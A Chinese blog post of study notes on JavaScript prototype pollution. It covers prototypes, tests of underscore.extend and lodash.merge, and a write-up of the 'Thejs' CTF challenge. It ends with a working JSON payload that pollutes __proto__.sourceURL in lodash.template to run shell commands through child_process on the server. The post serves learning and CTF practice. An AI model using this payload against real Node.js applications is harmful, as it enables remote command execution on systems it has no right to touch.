《关于我学习JS原型污染并做下笔记这件事》
前言
别问,问就是太菜了,以及实在是太久没有更新博客了,越学越往开发那里学了(golang真棒),为了拉回自己其实是搞安全的形象,因此学习了亏欠很久的JS原型污染 .
<!--more-->
JS中的类
一般来说JS中定义类的方法,常用大概以下三种:
1.函数式你以为我是函数实际上我是类哒~
function son(name) {
this.ming = name
this.show = function(){
console.log(this.ming)
}
}这里定义了一个son类(或者该类的构造函数),然后指定了一个ming属性和一个show方法
2.class语法糖
class son {
constructor(name){
this.ming = name
}
show(){
//这里隐式解决了原型的问题,不理解请看下文
console.log(this.ming)
}
/*与该方法等价的函数式代码为
son.prototype.show = function(){
console.log(this.ming)
}*/
}3.简单式
var son = {
ming: 'hello',
show: (function () {
console.log(this.ming)
})
}第二种是我们比较熟悉的类定义方式,函数和class语法两者是基本等价了,简单式非常像是一个字典,但由于JS中函数为一等公民,下文主要以函数式来讲
存在缺陷的定义方式
第一种定义类的方式,会存在一个问题,那就是每实例化一个类,其中this.show = function()都会执行一次,过程如下:

我们会发现每实例化一个新对象,debug总是能够断在this.show一步(即该方法被绑定在了实例上,而非类),因此为了解决这个问题,我们可以使用prototype,这样相当于son与生俱来就拥有show方法了

理解prototype
这里我们使用prototype其使用方法相当于访问类中的属性,因此prototype我们可以将其理解为所有类共有的一个属性,而一个类在实例化时会拥有prototype中的方法和属性,从继承的角度来说,这个prototype就类似于父类,而在JS中称为原型,但一个实例化的类不能直接通过prototype访问其原型,需要使用__proto__属性:
直接访问显示undefined:

使用__proto__属性:

__proto__确实指向了该类的prototype属性prototype包含了需要进该类的方法和属性,prototype形式上类似于python的字典
prototype如何运作
function son(name) {
this.ming = name
}
function father(){
this.xing = "Li"
}
son.prototype = new father()
son.prototype.show = function(){
console.log(this.xing,this.ming)
}
var new_son = new son("bu");
var a = new_son.__proto__
new_son.show()
console.log("done")我们使用以上代码进行debug,就能够很清晰的见到一条链条(继承链)


Object再往前找就变成null了

通过链条分析,不难发现JS的继承机制是这样实现的:
son类实例中没有xing这个属性,就到father里面找father找不到xing属性,找Object{constructor}里面Object{constructor}里面也找不到,就找Object里面Object里面也没有那就返回Null,即不存在该属性
总结:
如果用户能够控制一个类的原型,那么通过修改该类原型,就可以直接修改当前类,这种攻击也就是JS原型污染了,实验一下:

应用场景
由于原型污染的条件便是,需要我们能够控制原型的值,或者能够操控__proto__方法
- 通过
JS中对象可以是类似Python字典的形式,因此通过操纵字典键名操作值的函数方法均可,因为在这里__proto__可以被当作键名(一般指合并操作,JS对象本来就可以直接增删改属性,因此没必要封装函数) - 复制对象的时候,因为复制对象需要将已有对象加载到空对象中,因此这个过程仍然可以操作键名和值.
搜索了一下在node.js大致有两个方法可以操作对象合并underscore.extend和lodash.merge我们一个方法一个方法的测试看看,
extend:

这里我们对象确实合并成功了,但原型并没有受到污染,原因在于这里的son那里的__proto__被当作了son的原型,其属性和方法已经被加载到了son对象里,而我们需要将__proto__当作键名才能够将原型污染。因此我们需要在生成对象修改一下,我们可以不自己创建对象,而是将字符串解析成对象,这样自然__proto__会被当作键名了。
extend修改后:

这里使用字符串转化成为对象的话,会提示Object没有原型,并且debug了一下son.xing也是undefined,百度一下解决方法,说是应该用JSON.parse,当然翻了一下文档,发现querystring.parse是肯定不行的

最终版本:

发现这个方法似乎不行,相继测试了该包下的extendOwn和clone也不行,最后发现该包文档里面说了

会直接覆盖掉,这就相当于创建了一个原对象的副本,而并不会改变对象的Object因此从JS原型污染的角度来说,这个函数比较安全。
merge:
由于前面extend没看文档说明,浪费了一些时间,这次我们先翻阅官方文档的说明:

非常关键的地方,merge函数会直接改变对象的Object这就意味着如果我们控制了其中一个对象,那么merge进行合并的时候,必然会造成原型污染。
测试一下:

我们发现并没有合并原型,究其具体原因发现,包里的merge函数使用一个safeget()函数来获得key值,之后发现


原来是当属性名为__proto__会直接返回,而不是返回目标对象的对应__proto__,因此这里不会产生原型污染,当然由于这里我们是测试所以直接删掉判断__proto__那段代码(这里判断是采用弱相等可能存在一些绕过的问题,但我找不到):


这里原型污染成功了,其实P神对merge函数总结的非常到位,P神源码如下:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
//递归赋值
} else {
target[key] = source[key]
/*递归的终点,将原类的属性名赋值给目标对象的对应属性名,
因此如果这里属性名为__proto__那么就可以修改原型了(前提他没有判断键名是否为__proto__)
*/
}
}
}实际上lodash.merge简化之后也是类似的代码.
实例
翻阅了很多文章才发现,P神code-breaking的Thejs实在太经典了,两年以来都是其各种变种,因此这里主要以thejs为例
源码分析:
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
//常量定义,但可以看看用了那些包
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
//设置了服务器可以接受POST的表单数据和JSON
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
//设置session构成
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
//这里利用读文件的方式读取模板文件,然后传给lodash.template进行创建模板,最后再利用compiled函数渲染出options的值
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
//这里将data与req.body进行合并操作,最后合并给session
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))总结一下,源码逻辑很简单就是将接受到的数据拼接到session上,最后显示出来而已。我们注意到这里使用了lodash.merge函数,这个函数在早期版本应该是没有校验__proto__属性的,因此怀疑这里存在原型污染的问题,那么问题来了,污染原型之后该怎么得到flag?
问题1:污染原型的哪个属性?
首先服务器代码基本是看不出什么端倪的,我们可以思考以下几点:
- 重点函数
lodash.merge为污染原型的入口 - 污染原型想要拿到
flag必须要植入shell或者执行命令 - 污染原型中的某个属性能够被拼接到函数中或者函数运行中
因此我们需要找传入对象的函数,并看他们是否能够创造函数,或者能够运行函数,再整理一下lodash.merge这个函数排除,这是入口,然后我们想想为什么不用express自带的引擎渲染,而需要使用lodash.template函数呢?所以怀疑这里有点问题,我们翻看lodash.template文档发现:

这里options是一个对象,并且返回的是一个编译模板的函数,在服务器代码又有这一段:
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)最后这个编译模板函数会被当作回调函数执行,因此如果这里能够顺利污染到Function的创建,那么就可以返回一个可执行的命令了,再回到lodash.template源码上(对应版本lodash-4.17.4):
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...........
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
......
return result;这里会判断sourceURL是否在options对象中,如果在的话(可以在原型里)取出,然后将sourceURL拼接到函数的创建中,最后再经由外层服务器代码执行,整理一下这里的格式,可以看作:
Function("",sourceURL)//这个sourceURL是可控的问题2:如何执行命令
1.模块的相关问题和tips:
Node.js里面执行命令一般使用child_process这个模块里的函数,比较常用的是exec或者execSync前者为异步执行,后者为同步,同时exec返回一个对象,而execSync返回buffer,不过源代码并没有导入这个模块,因此这里需要导入child_process但P神曾在代码星球里面说过Function里是不含有require的上下文的,如下图:


翻阅文档会发现Node程序进程中,一直都会存在一个global全局变量,global里面也存在process,而process里面的mainModule则是可以导入模块的

而mainModule对象的constructor中有_load方法,这个方法可以返回导入的模块

2.回显问题:
注意直接使用execSync会返回buffer对象,因此需要转化成字符:

Payload
payload为
{"__proto__": {"sourceURL": "\r\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}} 
这里的也可以使用\u000a作为换行符:

同时把部分代码抽出来可能看得比较清楚:

最后测试了一下发现P神给的payload没加toString也可以回显出来,似乎这里源码还进行了一次转换?如果这里payload不返回函数,则会造成没有response包回来,但代码依旧会执行,只是需要另一个服务器接收结果而已。
参考文章: